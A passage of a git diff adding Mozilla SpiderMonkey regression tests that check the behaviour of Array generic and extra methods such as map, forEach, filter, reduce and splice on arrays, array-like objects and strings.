+assertThrowsInstanceOf(() => Array.some(arr), TypeError);
+assertThrowsInstanceOf(() => Array.some(arrLike), TypeError);
+f = function(...args) {
+ tmp.push(this, ...args);
+ return args[0] == 7;
+}
+tmp = [];
+assertEq(Array.some(arr, f), true);
+assertEq(tmp.join(","), "G,5,0,5,7,13," + "G,7,1,5,7,13");
+tmp = [];
+assertEq(Array.some(arr, f, "T"), true);
+assertEq(tmp.join(","), "T,5,0,5,7,13," + "T,7,1,5,7,13");
+tmp = [];
+assertEq(Array.some(arrLike, f), true);
+assertEq(tmp.join(","), "G,5,0,arrLike," + "G,7,1,arrLike");
+tmp = [];
+assertEq(Array.some(arrLike, f, "T"), true);
+assertEq(tmp.join(","), "T,5,0,arrLike," + "T,7,1,arrLike");
+
+// Array.reduce.
+reset();
+assertThrowsInstanceOf(() => Array.reduce(), TypeError);
+assertThrowsInstanceOf(() => Array.reduce(arr), TypeError);
+assertThrowsInstanceOf(() => Array.reduce(arrLike), TypeError);
+f = function(...args) {
+ tmp.push(...args);
+ return args[0] + args[1];
+}
+tmp = [];
+assertEq(Array.reduce(arr, f), 25);
+assertEq(tmp.join(","), "5,7,1,5,7,13," + "12,13,2,5,7,13");
+tmp = [];
+assertEq(Array.reduce(arr, f, 17), 42);
+assertEq(tmp.join(","), "17,5,0,5,7,13," + "22,7,1,5,7,13," + "29,13,2,5,7,13");
+tmp = [];
+assertEq(Array.reduce(arrLike, f), 25);
+assertEq(tmp.join(","), "5,7,1,arrLike," + "12,13,2,arrLike");
+tmp = [];
+assertEq(Array.reduce(arrLike, f, 17), 42);
+assertEq(tmp.join(","), "17,5,0,arrLike," + "22,7,1,arrLike," + "29,13,2,arrLike");
+
+// Array.reduceRight.
+reset();
+assertThrowsInstanceOf(() => Array.reduceRight(), TypeError);
+assertThrowsInstanceOf(() => Array.reduceRight(arr), TypeError);
+assertThrowsInstanceOf(() => Array.reduceRight(arrLike), TypeError);
+f = function(...args) {
+ tmp.push(...args);
+ return args[0] + args[1];
+}
+tmp = [];
+assertEq(Array.reduceRight(arr, f), 25);
+assertEq(tmp.join(","), "13,7,1,5,7,13," + "20,5,0,5,7,13");
+tmp = [];
+assertEq(Array.reduceRight(arr, f, 17), 42);
+assertEq(tmp.join(","), "17,13,2,5,7,13," + "30,7,1,5,7,13," + "37,5,0,5,7,13");
+tmp = [];
+assertEq(Array.reduceRight(arrLike, f), 25);
+assertEq(tmp.join(","), "13,7,1,arrLike," + "20,5,0,arrLike");
+tmp = [];
+assertEq(Array.reduceRight(arrLike, f, 17), 42);
+assertEq(tmp.join(","), "17,13,2,arrLike," + "30,7,1,arrLike," + "37,5,0,arrLike");
+
+// Array.reverse.
+reset();
+assertThrowsInstanceOf(() => Array.reverse(), TypeError);
+assertEq(Array.join(Array.reverse(arr), ","), "13,7,5");
+assertEq(Array.join(arr, ","), "13,7,5");
+assertEq(Array.join(Array.reverse(arrLike), ","), "13,7,5");
+assertEq(Array.join(arrLike, ","), "13,7,5");
+
+// Array.sort.
+reset();
+assertThrowsInstanceOf(() => Array.sort(), TypeError);
+f = function(x, y) {
+ return y - x;
+}
+assertEq(Array.join(Array.sort(arr), ","), "13,5,7");
+assertEq(Array.join(Array.sort(arr, f), ","), "13,7,5");
+assertEq(Array.join(Array.sort(arrLike), ","), "13,5,7");
+assertEq(Array.join(Array.sort(arrLike, f), ","), "13,7,5");
+
+// Array.push.
+reset();
+assertThrowsInstanceOf(() => Array.push(), TypeError);
+assertEq(Array.push(arr), 3);
+assertEq(Array.join(arr), "5,7,13");
+assertEq(Array.push(arr, 17), 4);
+assertEq(Array.join(arr), "5,7,13,17");
+assertEq(Array.push(arr, 19, 21), 6);
+assertEq(Array.join(arr), "5,7,13,17,19,21");
+assertEq(Array.push(arrLike), 3);
+assertEq(Array.join(arrLike), "5,7,13");
+assertEq(Array.push(arrLike, 17), 4);
+assertEq(Array.join(arrLike), "5,7,13,17");
+assertEq(Array.push(arrLike, 19, 21), 6);
+assertEq(Array.join(arrLike), "5,7,13,17,19,21");
+
+// Array.pop.
+reset();
+assertThrowsInstanceOf(() => Array.pop(), TypeError);
+assertEq(Array.pop(arr), 13);
+assertEq(Array.join(arr), "5,7");
+assertEq(Array.pop(arr), 7);
+assertEq(Array.join(arr), "5");
+assertEq(Array.pop(arrLike), 13);
+assertEq(Array.join(arrLike), "5,7");
+assertEq(Array.pop(arrLike), 7);
+assertEq(Array.join(arrLike), "5");
+
+// Array.shift.
+reset();
+assertThrowsInstanceOf(() => Array.shift(), TypeError);
+assertEq(Array.shift(arr), 5);
+assertEq(Array.join(arr), "7,13");
+assertEq(Array.shift(arr), 7);
+assertEq(Array.join(arr), "13");
+assertEq(Array.shift(arrLike), 5);
+assertEq(Array.join(arrLike), "7,13");
+assertEq(Array.shift(arrLike), 7);
+assertEq(Array.join(arrLike), "13");
+
+// Array.unshift.
+reset();
+assertThrowsInstanceOf(() => Array.unshift(), TypeError);
+assertEq(Array.unshift(arr), 3);
+assertEq(Array.join(arr), "5,7,13");
+assertEq(Array.unshift(arr, 17), 4);
+assertEq(Array.join(arr), "17,5,7,13");
+assertEq(Array.unshift(arr, 19, 21), 6);
+assertEq(Array.join(arr), "19,21,17,5,7,13");
+assertEq(Array.unshift(arrLike), 3);
+assertEq(Array.join(arrLike), "5,7,13");
+assertEq(Array.unshift(arrLike, 17), 4);
+assertEq(Array.join(arrLike), "17,5,7,13");
+assertEq(Array.unshift(arrLike, 19, 21), 6);
+assertEq(Array.join(arrLike), "19,21,17,5,7,13");
+
+// Array.splice.
+reset();
+assertThrowsInstanceOf(() => Array.splice(), TypeError);
+assertEq(Array.join(Array.splice(arr)), "");
+assertEq(Array.join(arr), "5,7,13");
+assertEq(Array.join(Array.splice(arr, 1)), "7,13");
+assertEq(Array.join(arr), "5");
+reset();
+assertEq(Array.join(Array.splice(arr, 1, 1)), "7");
+assertEq(Array.join(arr), "5,13");
+reset();
+assertEq(Array.join(Array.splice(arrLike)), "");
+assertEq(Array.join(arrLike), "5,7,13");
+assertEq(Array.join(Array.splice(arrLike, 1)), "7,13");
+assertEq(Array.join(arrLike), "5");
+reset();
+assertEq(Array.join(Array.splice(arrLike, 1, 1)), "7");
+assertEq(Array.join(arrLike), "5,13");
+
+// Array.slice.
+reset();
+assertThrowsInstanceOf(() => Array.slice(), TypeError);
+assertEq(Array.join(Array.slice(arr)), "5,7,13");
+assertEq(Array.join(Array.slice(arr, 1)), "7,13");
+assertEq(Array.join(Array.slice(arr, 1, 1)), "");
+assertEq(Array.join(Array.slice(arr, 1, 2)), "7");
+assertEq(Array.join(Array.slice(arrLike)), "5,7,13");
+assertEq(Array.join(Array.slice(arrLike, 1)), "7,13");
+assertEq(Array.join(Array.slice(arrLike, 1, 1)), "");
+assertEq(Array.join(Array.slice(arrLike, 1, 2)), "7");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/js1_6/Array/regress-290592.js b/js/src/tests/js1_6/Array/regress-290592.js
new file mode 100644
index 000000000..788459a4e
--- /dev/null
+++ b/js/src/tests/js1_6/Array/regress-290592.js
@@ -0,0 +1,661 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 290592;
+var summary = 'Array extras: forEach, indexOf, filter, map';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+// Utility functions
+
+function identity(v, index, array)
+{
+ reportCompare(v, array[index], 'identity: check callback argument consistency');
+ return v;
+}
+
+function mutate(v, index, array)
+{
+ reportCompare(v, array[index], 'mutate: check callback argument consistency');
+ if (index == 0)
+ {
+ array[1] = 'mutated';
+ delete array[2];
+ array.push('not visited');
+ }
+ return v;
+}
+
+function mutateForEach(v, index, array)
+{
+ reportCompare(v, array[index], 'mutateForEach: check callback argument consistency');
+ if (index == 0)
+ {
+ array[1] = 'mutated';
+ delete array[2];
+ array.push('not visited');
+ }
+ actual += v + ',';
+}
+
+function makeUpperCase(v, index, array)
+{
+ reportCompare(v, array[index], 'makeUpperCase: check callback argument consistency');
+ try
+ {
+ return v.toUpperCase();
+ }
+ catch(e)
+ {
+ }
+ return v;
+}
+
+
+function concat(v, index, array)
+{
+ reportCompare(v, array[index], 'concat: check callback argument consistency');
+ actual += v + ',';
+}
+
+
+function isUpperCase(v, index, array)
+{
+ reportCompare(v, array[index], 'isUpperCase: check callback argument consistency');
+ try
+ {
+ return v == v.toUpperCase();
+ }
+ catch(e)
+ {
+ }
+ return false;
+}
+
+function isString(v, index, array)
+{
+ reportCompare(v, array[index], 'isString: check callback argument consistency');
+ return typeof v == 'string';
+}
+
+
+// callback object.
+function ArrayCallback(state)
+{
+ this.state = state;
+}
+
+ArrayCallback.prototype.makeUpperCase = function (v, index, array)
+{
+ reportCompare(v, array[index], 'ArrayCallback.prototype.makeUpperCase: check callback argument consistency');
+ try
+ {
+ return this.state ? v.toUpperCase() : v.toLowerCase();
+ }
+ catch(e)
+ {
+ }
+ return v;
+};
+
+ArrayCallback.prototype.concat = function(v, index, array)
+{
+ reportCompare(v, array[index], 'ArrayCallback.prototype.concat: check callback argument consistency');
+ actual += v + ',';
+};
+
+ArrayCallback.prototype.isUpperCase = function(v, index, array)
+{
+ reportCompare(v, array[index], 'ArrayCallback.prototype.isUpperCase: check callback argument consistency');
+ try
+ {
+ return this.state ? true : (v == v.toUpperCase());
+ }
+ catch(e)
+ {
+ }
+ return false;
+};
+
+ArrayCallback.prototype.isString = function(v, index, array)
+{
+ reportCompare(v, array[index], 'ArrayCallback.prototype.isString: check callback argument consistency');
+ return this.state ? true : (typeof v == 'string');
+};
+
+function dumpError(e)
+{
+ var s = e.name + ': ' + e.message +
+ ' File: ' + e.fileName +
+ ', Line: ' + e.lineNumber +
+ ', Stack: ' + e.stack;
+ return s;
+}
+
+var obj;
+var strings = ['hello', 'Array', 'WORLD'];
+var mixed = [0, '0', 0];
+var sparsestrings = new Array();
+sparsestrings[2] = 'sparse';
+
+if ('map' in Array.prototype)
+{
+// see http://developer-test.mozilla.org/docs/Core_JavaScript_1.5_Reference:Objects:Array:map
+
+ // test Array.map
+
+ // map has 1 required argument
+ expect = 1;
+ actual = Array.prototype.map.length;
+ reportCompare(expect, actual, 'Array.prototype.map.length == 1');
+
+ // throw TypeError if no callback function specified
+ expect = 'TypeError';
+ try
+ {
+ strings.map();
+ actual = 'no error';
+ }
+ catch(e)
+ {
+ actual = e.name;
+ }
+ reportCompare(expect, actual, 'Array.map(undefined) throws TypeError');
+
+ try
+ {
+ // identity map
+ expect = 'hello,Array,WORLD';
+ actual = strings.map(identity).toString();
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'Array.map: identity');
+
+
+ try
+ {
+ expect = 'hello,mutated,';
+ actual = strings.map(mutate).toString();
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'Array.map: mutate');
+
+ strings = ['hello', 'Array', 'WORLD'];
+
+ try
+ {
+ // general map
+ expect = 'HELLO,ARRAY,WORLD';
+ actual = strings.map(makeUpperCase).toString();
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'Array.map: uppercase');
+
+ try
+ {
+ // pass object method as map callback
+ expect = 'HELLO,ARRAY,WORLD';
+ var obj = new ArrayCallback(true);
+ actual = strings.map(obj.makeUpperCase, obj).toString();
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'Array.map: uppercase with object callback');
+
+ try
+ {
+ expect = 'hello,array,world';
+ obj = new ArrayCallback(false);
+ actual = strings.map(obj.makeUpperCase, obj).toString();
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'Array.map: lowercase with object callback');
+
+ try
+ {
+ // map on sparse arrays
+ expect = ',,SPARSE';
+ actual = sparsestrings.map(makeUpperCase).toString();
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'Array.map: uppercase on sparse array');
+}
+
+if ('forEach' in Array.prototype)
+{
+// see http://developer-test.mozilla.org/docs/Core_JavaScript_1.5_Reference:Objects:Array:forEach
+
+ // test Array.forEach
+
+ // forEach has 1 required argument
+ expect = 1;
+ actual = Array.prototype.forEach.length;
+ reportCompare(expect, actual, 'Array.prototype.forEach.length == 1');
+
+ // throw TypeError if no callback function specified
+ expect = 'TypeError';
+ try
+ {
+ strings.forEach();
+ actual = 'no error';
+ }
+ catch(e)
+ {
+ actual = e.name;
+ }
+ reportCompare(expect, actual, 'Array.forEach(undefined) throws TypeError');
+
+ try
+ {
+ // general forEach
+ expect = 'hello,Array,WORLD,';
+ actual = '';
+ strings.forEach(concat);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'Array.forEach');
+
+ try
+ {
+ expect = 'hello,mutated,';
+ actual = '';
+ strings.forEach(mutateForEach);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'Array.forEach: mutate');
+
+ strings = ['hello', 'Array', 'WORLD'];
+
+
+
+ try
+ {
+ // pass object method as forEach callback
+ expect = 'hello,Array,WORLD,';
+ actual = '';
+ obj = new ArrayCallback(true);
+ strings.forEach(obj.concat, obj);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'Array.forEach with object callback 1');
+
+ try
+ {
+ expect = 'hello,Array,WORLD,';
+ actual = '';
+ obj = new ArrayCallback(false);
+ strings.forEach(obj.concat, obj);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'Array.forEach with object callback 2');
+
+ try
+ {
+ // test forEach on sparse arrays
+ // see https://bugzilla.mozilla.org/show_bug.cgi?id=311082
+ expect = 'sparse,';
+ actual = '';
+ sparsestrings.forEach(concat);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'Array.forEach on sparse array');
+}
+
+if ('filter' in Array.prototype)
+{
+// see http://developer-test.mozilla.org/docs/Core_JavaScript_1.5_Reference:Objects:Array:filter
+
+ // test Array.filter
+
+ // filter has 1 required argument
+ expect = 1;
+ actual = Array.prototype.filter.length;
+ reportCompare(expect, actual, 'Array.prototype.filter.length == 1');
+
+ // throw TypeError if no callback function specified
+ expect = 'TypeError';
+ try
+ {
+ strings.filter();
+ actual = 'no error';
+ }
+ catch(e)
+ {
+ actual = e.name;
+ }
+ reportCompare(expect, actual, 'Array.filter(undefined) throws TypeError');
+
+ try
+ {
+ // test general filter
+ expect = 'WORLD';
+ actual = strings.filter(isUpperCase).toString();
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'Array.filter');
+
+ try
+ {
+ expect = 'WORLD';
+ obj = new ArrayCallback(false);
+ actual = strings.filter(obj.isUpperCase, obj).toString();
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'Array.filter object callback 1');
+
+ try
+ {
+ expect = 'hello,Array,WORLD';
+ obj = new ArrayCallback(true);
+ actual = strings.filter(obj.isUpperCase, obj).toString();
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'Array.filter object callback 2');
+}
+
+if ('every' in Array.prototype)
+{
+// see http://developer-test.mozilla.org/docs/Core_JavaScript_1.5_Reference:Objects:Array:every
+
+ // test Array.every
+
+ // every has 1 required argument
+
+ expect = 1;
+ actual = Array.prototype.every.length;
+ reportCompare(expect, actual, 'Array.prototype.every.length == 1');
+
+ // throw TypeError if no every callback function specified
+ expect = 'TypeError';
+ try
+ {
+ strings.every();
+ actual = 'no error';
+ }
+ catch(e)
+ {
+ actual = e.name;
+ }
+ reportCompare(expect, actual, 'Array.every(undefined) throws TypeError');
+
+ // test general every
+
+ try
+ {
+ expect = true;
+ actual = strings.every(isString);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'strings: every element is a string');
+
+ try
+ {
+ expect = false;
+ actual = mixed.every(isString);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'mixed: every element is a string');
+
+ try
+ {
+ // see https://bugzilla.mozilla.org/show_bug.cgi?id=311082
+ expect = true;
+ actual = sparsestrings.every(isString);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'sparsestrings: every element is a string');
+
+ // pass object method as map callback
+
+ obj = new ArrayCallback(false);
+
+ try
+ {
+ expect = true;
+ actual = strings.every(obj.isString, obj);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'strings: every element is a string, via object callback');
+
+ try
+ {
+ expect = false;
+ actual = mixed.every(obj.isString, obj);
+ }
+ catch(e)
+ {
+ actual = dumpError(e) ;
+ }
+ reportCompare(expect, actual, 'mixed: every element is a string, via object callback');
+
+ try
+ {
+ // see https://bugzilla.mozilla.org/show_bug.cgi?id=311082
+ expect = true;
+ actual = sparsestrings.every(obj.isString, obj);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'sparsestrings: every element is a string, via object callback');
+
+}
+
+if ('some' in Array.prototype)
+{
+// see http://developer-test.mozilla.org/docs/Core_JavaScript_1.5_Reference:Objects:Array:some
+
+ // test Array.some
+
+ // some has 1 required argument
+
+ expect = 1;
+ actual = Array.prototype.some.length;
+ reportCompare(expect, actual, 'Array.prototype.some.length == 1');
+
+ // throw TypeError if no some callback function specified
+ expect = 'TypeError';
+ try
+ {
+ strings.some();
+ actual = 'no error';
+ }
+ catch(e)
+ {
+ actual = e.name;
+ }
+ reportCompare(expect, actual, 'Array.some(undefined) throws TypeError');
+
+ // test general some
+
+ try
+ {
+ expect = true;
+ actual = strings.some(isString);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'strings: some element is a string');
+
+ try
+ {
+ expect = true;
+ actual = mixed.some(isString);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'mixed: some element is a string');
+
+ try
+ {
+ expect = true;
+ actual = sparsestrings.some(isString);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'sparsestrings: some element is a string');
+
+ // pass object method as map callback
+
+ obj = new ArrayCallback(false);
+
+ try
+ {
+ expect = true;
+ actual = strings.some(obj.isString, obj);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'strings: some element is a string, via object callback');
+
+ try
+ {
+ expect = true;
+ actual = mixed.some(obj.isString, obj);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'mixed: some element is a string, via object callback');
+
+ try
+ {
+ expect = true;
+ actual = sparsestrings.some(obj.isString, obj);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'sparsestrings: some element is a string, via object callback');
+
+}
+
+if ('indexOf' in Array.prototype)
+{
+// see http://developer-test.mozilla.org/docs/Core_JavaScript_1.5_Reference:Objects:Array:indexOf
+
+ // test Array.indexOf
+
+ // indexOf has 1 required argument
+
+ expect = 1;
+ actual = Array.prototype.indexOf.length;
+ reportCompare(expect, actual, 'Array.prototype.indexOf.length == 1');
+
+ // test general indexOf
+
+ try
+ {
+ expect = -1;
+ actual = mixed.indexOf('not found');
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'indexOf returns -1 if value not found');
+
+ try
+ {
+ expect = 0;
+ actual = mixed.indexOf(0);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'indexOf matches using strict equality');
+
+ try
+ {
+ expect = 1;
+ actual = mixed.indexOf('0');
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'indexOf matches using strict equality');
+
+ try
+ {
+ expect = 2;
+ actual = mixed.indexOf(0, 1);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'indexOf begins searching at fromIndex');
+}
+
diff --git a/js/src/tests/js1_6/Array/regress-304828.js b/js/src/tests/js1_6/Array/regress-304828.js
new file mode 100644
index 000000000..0b15e21d2
--- /dev/null
+++ b/js/src/tests/js1_6/Array/regress-304828.js
@@ -0,0 +1,256 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 304828;
+var summary = 'Array Generic Methods';
+var actual = '';
+var expect = '';
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var value;
+
+// use Array methods on a String
+// join
+value = '123';
+expect = '1,2,3';
+try
+{
+ actual = Array.prototype.join.call(value);
+}
+catch(e)
+{
+ actual = e + '';
+}
+reportCompare(expect, actual, summary + ': join');
+
+// reverse
+value = '123';
+expect = 'TypeError: 0 is read-only';
+try
+{
+ actual = Array.prototype.reverse.call(value) + '';
+}
+catch(e)
+{
+ actual = e + '';
+}
+reportCompare(expect, actual, summary + ': reverse');
+
+// sort
+value = 'cba';
+expect = 'TypeError: 0 is read-only';
+try
+{
+ actual = Array.prototype.sort.call(value) + '';
+}
+catch(e)
+{
+ actual = e + '';
+}
+reportCompare(expect, actual, summary + ': sort');
+
+// push
+value = 'abc';
+expect = 6;
+try
+{
+ Array.prototype.push.call(value, 'd', 'e', 'f');
+ throw new Error("didn't throw");
+}
+catch(e)
+{
+ reportCompare(true, e instanceof TypeError,
+ "push on a string primitive should throw TypeError");
+}
+reportCompare('abc', value, summary + ': push string primitive');
+
+value = new String("abc");
+expect = 6;
+try
+{
+ Array.prototype.push.call(value, 'd', 'e', 'f');
+ throw new Error("didn't throw");
+}
+catch(e)
+{
+ reportCompare(true, e instanceof TypeError,
+ "push on a String object should throw TypeError");
+}
+reportCompare("d", value[3], summary + ': push String object index 3');
+reportCompare("e", value[4], summary + ': push String object index 4');
+reportCompare("f", value[5], summary + ': push String object index 5');
+
+// pop
+value = 'abc';
+expect = "TypeError: property 2 is non-configurable and can't be deleted";
+try
+{
+ actual = Array.prototype.pop.call(value);
+}
+catch(e)
+{
+ actual = e + '';
+}
+reportCompare(expect, actual, summary + ': pop');
+reportCompare('abc', value, summary + ': pop');
+
+// unshift
+value = 'def';
+expect = 'TypeError: 0 is read-only';
+try
+{
+ actual = Array.prototype.unshift.call(value, 'a', 'b', 'c');
+}
+catch(e)
+{
+ actual = e + '';
+}
+reportCompare(expect, actual, summary + ': unshift');
+reportCompare('def', value, summary + ': unshift');
+
+// shift
+value = 'abc';
+expect = 'TypeError: 0 is read-only';
+try
+{
+ actual = Array.prototype.shift.call(value);
+}
+catch(e)
+{
+ actual = e + '';
+}
+reportCompare(expect, actual, summary + ': shift');
+reportCompare('abc', value, summary + ': shift');
+
+// splice
+value = 'abc';
+expect = 'TypeError: 1 is read-only';
+try
+{
+ actual = Array.prototype.splice.call(value, 1, 1) + '';
+}
+catch(e)
+{
+ actual = e + '';
+}
+reportCompare(expect, actual, summary + ': splice');
+
+// concat
+value = 'abc';
+expect = 'abc,d,e,f';
+try
+{
+ actual = Array.prototype.concat.call(value, 'd', 'e', 'f') + '';
+}
+catch(e)
+{
+ actual = e + '';
+}
+reportCompare(expect, actual, summary + ': concat');
+
+// slice
+value = 'abc';
+expect = 'b';
+try
+{
+ actual = Array.prototype.slice.call(value, 1, 2) + '';
+}
+catch(e)
+{
+ actual = e + '';
+}
+reportCompare(expect, actual, summary + ': slice');
+
+// indexOf
+value = 'abc';
+expect = 1;
+try
+{
+ actual = Array.prototype.indexOf.call(value, 'b');
+}
+catch(e)
+{
+ actual = e + '';
+}
+reportCompare(expect, actual, summary + ': indexOf');
+
+// lastIndexOf
+value = 'abcabc';
+expect = 4;
+try
+{
+ actual = Array.prototype.lastIndexOf.call(value, 'b');
+}
+catch(e)
+{
+ actual = e + '';
+}
+reportCompare(expect, actual, summary + ': lastIndexOf');
+
+// forEach
+value = 'abc';
+expect = 'ABC';
+actual = '';
+try
+{
+ Array.prototype.forEach.call(value,
+ function (v, index, array)
+ {actual += array[index].toUpperCase();});
+}
+catch(e)
+{
+ actual = e + '';
+}
+reportCompare(expect, actual, summary + ': forEach');
+
+// map
+value = 'abc';
+expect = 'A,B,C';
+try
+{
+ actual = Array.prototype.map.call(value,
+ function (v, index, array)
+ {return v.toUpperCase();}) + '';
+}
+catch(e)
+{
+ actual = e + '';
+}
+reportCompare(expect, actual, summary + ': map');
+
+// filter
+value = '1234567890';
+expect = '2,4,6,8,0';
+try
+{
+ actual = Array.prototype.filter.call(value,
+ function (v, index, array)
+ {return array[index] % 2 == 0;}) + '';
+}
+catch(e)
+{
+ actual = e + '';
+}
+reportCompare(expect, actual, summary + ': filter');
+
+// every
+value = '1234567890';
+expect = false;
+try
+{
+ actual = Array.prototype.every.call(value,
+ function (v, index, array)
+ {return array[index] % 2 == 0;});
+}
+catch(e)
+{
+ actual = e + '';
+}
+reportCompare(expect, actual, summary + ': every');
+
+
+
diff --git a/js/src/tests/js1_6/Array/regress-305002.js b/js/src/tests/js1_6/Array/regress-305002.js
new file mode 100644
index 000000000..e59668e7f
--- /dev/null
+++ b/js/src/tests/js1_6/Array/regress-305002.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 305002;
+var summary = '[].every(f) == true';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var notcalled = true;
+
+function callback()
+{
+ notcalled = false;
+}
+
+expect = true;
+actual = [].every(callback) && notcalled;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_6/Array/regress-310425-01.js b/js/src/tests/js1_6/Array/regress-310425-01.js
new file mode 100644
index 000000000..a60d6660a
--- /dev/null
+++ b/js/src/tests/js1_6/Array/regress-310425-01.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 310425;
+var summary = 'Array.indexOf/lastIndexOf edge cases';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = -1;
+actual = [].lastIndexOf(undefined, -1);
+reportCompare(expect, actual, summary);
+
+expect = -1;
+actual = [].indexOf(undefined, -1);
+reportCompare(expect, actual, summary);
+
+var x = [];
+x[1 << 30] = 1;
+expect = (1 << 30);
+actual = x.lastIndexOf(1);
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_6/Array/regress-310425-02.js b/js/src/tests/js1_6/Array/regress-310425-02.js
new file mode 100644
index 000000000..ff9e88ae4
--- /dev/null
+++ b/js/src/tests/js1_6/Array/regress-310425-02.js
@@ -0,0 +1,17 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 310425;
+var summary = 'Array.indexOf/lastIndexOf edge cases';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = -1;
+actual = Array(1).indexOf(1);
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_6/Array/regress-320887.js b/js/src/tests/js1_6/Array/regress-320887.js
new file mode 100644
index 000000000..baf6c3079
--- /dev/null
+++ b/js/src/tests/js1_6/Array/regress-320887.js
@@ -0,0 +1,27 @@
+// |reftest| skip -- obsolete test
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Blake Kaplan
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 320887;
+var summary = 'var x should not throw a ReferenceError';
+var actual = 'No error';
+var expect = 'No error';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ (function xxx() { ["var x"].map(eval); })()
+ }
+catch(ex)
+{
+ actual = ex + '';
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_6/Array/regress-352742-01.js b/js/src/tests/js1_6/Array/regress-352742-01.js
new file mode 100644
index 000000000..a3088a5e6
--- /dev/null
+++ b/js/src/tests/js1_6/Array/regress-352742-01.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
